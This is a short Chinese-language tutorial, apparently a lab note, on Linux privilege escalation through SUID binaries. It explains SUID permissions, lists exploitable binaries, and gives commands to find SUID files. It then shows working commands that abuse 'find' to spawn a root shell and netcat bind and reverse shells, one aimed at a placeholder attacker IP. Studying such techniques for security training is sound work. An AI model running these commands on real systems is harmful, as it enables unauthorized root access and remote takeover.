Linux提权4
本次学习suid提权,之前学习环境变量提权的时候已经接触了suid,但在环境变量提权的时候有很多限制,很多时候我们无法直接编辑环境变量,suid提权方式会更高效。
实验原理
suid(set uid)是linux中的一种特殊权限,suid可以让调用者以文件拥有者身份运行该文件,所以利用suid提权的核心就是运行root用户所拥有的suid的文件,那么运行该文件的时候就得获得root用户的身份了。suid特点是用户运行某个程序时,如果该程序有suid权限,程序运行进程的属主不是发起者,而是程序文件所属的属主。
SUID按照八进制为4,SGID为2,SBIT为1,在普通权限前一位,比如4777,其实就是rws-rwx-rwx,具有SUID权限的文件所属者x变为s。
具有suid权限的并可用于提权的文件有:
nmap vim find bash more less nano cp awk
查找具有suid权限文件命令
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
实验过程

以普通用户登录目标服务器

查找具有suid权限文件,发现存在find属于我们可以提权的命令

使用find命令可以执行其他的系统命令,因此可以通过find获取新的具有root权限shell
find /etc/passwd -exec /bin/bash -p \;

如果想要用nc反弹shell也可以执行
find /etc/passwd -exec nc -lvp 7777 -e /bin/bash \; find /etc/passwd -exec nc -e /bin/bash x.x.x.x(攻击者ip) 7777 \;

浙公网安备 33010602011771号